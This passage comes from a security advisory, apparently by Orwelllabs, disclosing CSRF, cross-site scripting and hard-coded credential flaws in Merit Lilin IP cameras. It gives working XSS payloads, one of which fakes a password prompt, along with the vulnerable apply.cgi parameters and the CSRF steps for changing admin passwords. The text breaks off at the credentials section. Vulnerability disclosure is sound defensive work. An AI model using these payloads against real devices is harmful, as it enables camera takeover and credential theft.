_ _ _ _ _ _ _ _ _ _ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ ( 0 | R | W | 3 | L | L | L | 4 | 8 | 5 ) \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ www.orwelllabs.com securityadivisory @orwelllabs ;)(r By sitting in the alcove, and keeping well back, Winston was able to remain outside the range of the telescreen... * Adivisory Information ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ (+) Title: Merit Lilin IP Cameras Multiple Vulnerabilities (+) Vendor: Merit Lilin Enterprise Co., Ltd. (+) Research and Advisory: Orwelllabs (+) Adivisory URL: http://www.orwelllabs.com/2016/04/merit-lilin -ip-cameras-multiple_27.html (+) OLSA-ID: OLSA-2016-04-28 (+) Affected Versions: L series products with firmware 1.4.36/1.2.02, OS Version: Linux 2.6.38/Linux 2.6.32 (+) IoT Attack Surface: Device Administrative Interface/Authentication/Authorization (+) Owasp IoTTop10: I1, I2 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ I1. Insecure Web Interfaces --------------------------- Multiple Cross-site Request Forgery Multiple Cross-site Scripting/HTML Injection Hard-coded credentials Cleartext sensitive data Weak Passwords/Known credentials Account lockout I2. Poorly Protected Credentials -------------------------------- Insufficient Authentication/Authorization Vendor Background ================= LILIN, is a global IP video manufacturer of IP video cameras, recording devices, and software with over 30 years of experience. 1. Multiple Cross-site Request Forgery ====================================== Merit LILIN IP Cameras are prone to multiple cross-site request forgery vulnerabilities. (+) Technical Details and PoCs: ------------------------------- # Basic >> System >> User > Changing 'admin' password to 'w!nst0nSm!th' # Basic >> Network >> DDNS > change DDNS information (user/hostname/password) # SNMP > change community/user/pass/pripass/v3rouser/etc. # Basic >> Network >> SIP > change sip_domain_server/sipreg_username/sipreg_password/sip_port=/etc. 2. Multiple Cross-site Scripting/HTML Injection ====================-========================== Merit Lilin IP Cameras are prone to multiple cross-site scripting vulnerabilities. Technical Details and PoCs: --------------------------- [SAMBA] Advance >> System >> SAMBA Service ------------------------------------------ %- Script: apply.cgi %- affected parameters: (+) action (+) SambaRecordState (+) SAMBA_OSD (+) SAMBARecordOption2 (+) SAMBARecordFormat (+) SAMBAPreRecordTime (+) SAMBAServer (+) SAMBAServerPort (+) SAMBAServerAccount (+) SAMBAServerPassword (+) SAMBAServerDirectory %- [ *** XSS *** ] Payload(1) used: 123%3Cimg%20src=%22x%20%22%20onerror=prompt%28%22Lilin_Password:%22%29%20/%3E %- URL: http://xxx.xxx.xxx.xxx/apply.cgi?action=[ *** XSS *** ]&SambaRecordState=[ *** XSS *** ]&SAMBA_OSD=[ *** XSS *** ]&SAMBARecordOption2=[ *** XSS *** ]&SAMBARecordFormat=[ *** XSS *** ]&SAMBAPreRecordTime=[ *** XSS *** ]&SAMBAServer=[ *** XSS *** ]&SAMBAServerPort=[ *** XSS *** ]&SAMBAServerAccount=[ *** XSS *** ]&SAMBAServerPassword=[ *** XSS *** ]&SAMBAServerDirectory=[ *** XSS *** ] [General] -> Basic >> System >> General --------------------------------------- - Affected script: apply.cgi - affected parameters: (+) action (+) next_page (+) SAMBAServerDirectory %- [ *** XSS *** ] Payload(2) used: %22%3E%3Cscript%3Ealert%281%29%3C/script%3E %- URL http://xxx.xxx.xxx.xxx/apply.cgi?action=[ *** XSS *** ]&next_page=[ *** XSS *** ]&CAM_NAME=LR6122&ACTIVEX_OSD_NAME=LR6122&CAM_OSD=0&TIMER_OSD=0&ACTIVEX_OSD_ENABLE=0&ACTIVEX_MODE=0 [HTTP POST Service] -> Advance >> Event >> HTTP POST Service ------------------------------------------------------------ - Affected script: apply.cgi - affected parameters: (+) AM_HTTP_JPEG (+) next_page*-* (+) HTTPPostPort*-* %- [ *** XSS *** ] Payload used: 123%3Cimg%20src=%22x%20%22%20onerror=prompt%28%22Lilin_Password:%22%29%20/%3E *-* Payload(2) %- URL: http://xxx.xxx.xxx.xxx/apply.cgi?action=httppost_apply&next_page=httppost.asp&HTTPServer=192.168.0.2&HTTPPostPort=56082&HTTPAccount= LILIN&HTTPPassword=control4&AM_HTTP_JPEG=[ *** XSS *** ] 3. Hard-coded credentials ========================= This application stores hard-coded credentials in html code. Technical Details and PoCs: --------------------------- (+) GET -> http://xxx.xxx.xxx.xxx/new/index.htm HTML Source code: